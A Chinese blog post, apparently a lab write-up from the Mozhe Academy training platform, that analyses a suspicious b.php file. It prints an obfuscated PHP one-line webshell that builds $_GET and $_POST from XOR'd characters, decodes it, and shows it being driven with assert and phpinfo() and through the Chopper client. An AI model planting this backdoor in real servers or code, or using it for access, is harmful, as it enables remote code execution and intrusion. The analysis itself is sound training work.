墨者学院php代码审计1

  1. PHP代码分析溯源(第1题)
    1. 背景
    2. 分析
    3. 技巧

PHP代码分析溯源(第1题)

背景

某日,在某公司做IT维护的朋友给安全工程师”墨者”发了一个PHP文件,说在其WEB服务器发现多了一个b.php文件,目前不确定这个文件是开发留下的正常文件还是攻击者上传的木马后门,希望”墨者”能够帮他分析一下。

分析

访问http://219.153.49.228:45070/

<?php 
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]); 
?>

运行下,报错。

$_ => 1

$__ => _GET

$___ => _POST

然后观察最后一行代码,把我们变量给用值替换进去

${_GET}[!1](${_POST}[1]);

把多余的{}去掉 [!1]也就是[0],整理下代码是这样的

$_GET[0]($_POST[1]);

和一句话的

$_POST[1]

传参差不多了,那么

$_GET[0]

就是我们的函数名了

根据”b.php源码”提示去b.php目录下

用hackbar传GET和POST请求

http://219.153.49.228:45070/b.php?0=assert

1=phpinfo()

在菜刀里写http://219.153.49.228:45070/b.php?0=assert密码是1

技巧

这里有一个问题在于

http://219.153.49.228:45070/b.php?0=eval

无法显示phpinfo

这里延伸出一个问题柠檬大大的文章解释的很好

问题出在

$_POST['1']()这是一个可变函数,这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

但是eval不能被可变函数 调用。

mixed eval ( string $code )

Note: 因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:墨者学院php代码审计1

文章字数:421

本文作者:Mang0

发布时间:2018-08-25, 20:32:48

最后更新:2018-11-02, 21:52:16

原始链接:http://mang0.me/archis/8395d5c7/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏